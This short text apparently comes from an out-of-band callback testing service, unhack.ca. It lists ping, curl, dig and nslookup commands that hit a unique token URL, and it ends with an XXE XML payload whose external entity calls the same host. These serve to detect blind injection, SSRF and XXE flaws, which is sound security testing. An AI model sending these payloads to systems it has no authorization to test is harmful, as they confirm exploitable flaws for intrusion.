$ ping -c1 -p 00740fd8a4530fed675be4ca0d0d3b00 unhack.ca
 

$ curl http://unhack.ca/p/740fd8a4530fed675be4ca0d0d3b
 

$ dig 740fd8a4530fed675be4ca0d0d3b @unhack.ca
 

$ dig 740fd8a4530fed675be4ca0d0d3b.ns.unhack.ca
 

C:\> nslookup 740fd8a4530fed675be4ca0d0d3b unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/740fd8a4530fed675be4ca0d0d3b">]>
    <foo>&xxe;</foo>